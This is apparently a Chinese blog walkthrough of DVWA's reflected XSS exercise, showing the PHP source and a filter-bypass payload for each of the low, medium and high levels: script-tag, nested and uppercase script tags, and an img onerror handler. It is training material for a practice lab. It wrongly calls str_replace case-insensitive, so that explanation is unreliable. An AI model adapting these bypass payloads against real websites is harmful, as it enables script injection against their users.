DVWA(XSS 反射型)

DVWA XSS(reflected)

XSS

XSS的实质其实是HTML代码与Javscript代码的注入。但由于XSS的攻击对象是与客户对等的Browser端,因此常常不被开发者所重视。

一般意义上的XSS通常可以用简单的方法检测出来:当用户输入中某个参数的全部或其中一部分,原封不动地在源代码里出现时,我们就可以认为这个参数存在XSS漏洞。

反射性XSS

恶意代码并没有保存在目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。

主要特征:

  • 恶意脚本附加到 url 中,只有点击此链接才会引起攻击;
  • 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题;
  • xss漏洞一般发生于与用户交互的地方。

low

在这里插入图片描述
源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

对话框输入<script>alert("xss")</script>,弹窗成功,证明存在该漏洞;
在这里插入图片描述

Medium

源码:

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL可看出代码将我们输入内容中的 <script>标签替换为了空,对<script>进行了过滤。

str_replace:不区分大小写的,而且只替换一次,所以我们构造payload来绕过这个函数。

<scr<script>ipt>alert("xss")</script><SCRIPT>alert("xss")</SCRIPT>

在这里插入图片描述

High

源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
} 

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i',可知我们就不能使用大小写绕过和重写的方法来绕过了。无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。这样就会避免出现<script>标签被正则表达式匹配到。

我们构造payload来绕过这个函数

<img src=x onerror=alert('xss')>  

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值